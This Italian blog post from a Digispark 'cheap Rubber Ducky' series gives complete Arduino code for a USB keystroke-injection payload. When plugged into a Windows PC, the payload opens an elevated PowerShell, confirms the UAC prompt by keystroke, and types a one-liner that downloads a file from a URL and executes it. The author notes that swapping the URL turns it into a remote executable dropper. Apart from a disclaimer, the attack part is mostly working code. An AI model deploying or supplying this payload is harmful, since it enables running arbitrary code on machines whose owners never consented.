lunedì 31 agosto 2020

Digispark, Download ed esecuzione di un file tramite PowerShell

In questo articolo riprendo il discorso sulla Rubber Ducky economica utilizzando una scheda Digispark trattato un pò di tempo fa. Per chi si fosse perso gli articoli precedenti, li riporto di seguito in ordine cronologico:

Creare una Rubber Ducky economica con una scheda Digispark

Digispark, modificare il file HOSTS in Windows 10

Digispark, Modificare l'immagine di sfondo di Windows 

Digispark Kickstarter
FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

In questo articolo verrà mostrato un nuovo payload che consente di scaricare un file ed eseguirlo attraverso l'utilizzo di PowerShell. Per caricare il nostro programma sulla scheda è necessario installare l'ambiente Arduino IDE e i driver della scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando al primo articolo.


Per la programmazione del dispositivo:
  • Scaricare il file Digispark_Download_Run_File.zip dal seguente link 
    DOWNLOAD
  • Scompattare il file e cliccare 2 volte sul file Digispark_Download_Run_File.ino per aprirlo nell'IDE Arduino;
  • Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.
Digispark, Download ed esecuzione di un file
FIG 2 - Digispark, Download ed esecuzione di un file

Terminato il caricamento, la scheda è pronta per essere usata. Basterà collegarla ad un PC con sistema operativo Windows 7/8/10 per eseguire il download e l'esecuzione del file specificato.

Il payload è molto semplice:
#include "KeyboardIT.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  //script PowerShell
  DigiKeyboard.print("$download = New-Object System.Net.WebClient; $url = 'http://www.pdf995.com/samples/pdf.pdf'; 
     $file = 'f:\\pdf.pdf'; $download.DownloadFile($url,$file); $exec = New-Object -com shell.application; 
     $exec.shellexecute($file); exit;");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

  for(;;){ /*empty*/ }
}

L'istruzione 
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
consente di eseguire PowerShell come amministratore ma il cuore del programma è rappresentato dalla seguente istruzione 
DigiKeyboard.print("$download = New-Object System.Net.WebClient; $url = 'http://www.pdf995.com/samples/pdf.pdf'; $file = 'f:\\pdf.pdf'; $download.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;");
che, tramite l'utilizzo di PowerShell, consente di eseguire il download del file indicato da $url, salvarlo in locale nel percorso e con il nome indicato da $file e aprirlo/eseguirlo con l'istruzione $exec.shellexecute($file).
Modificando i valori di $url $file possiamo fare in modo di scaricare un file eseguibile da un server e mandarlo in esecuzione sulla postazione.





Nessun commento:

Posta un commento

I messaggi sono soggetti a moderazione da parte dell'amministratore prima della loro pubblicazione.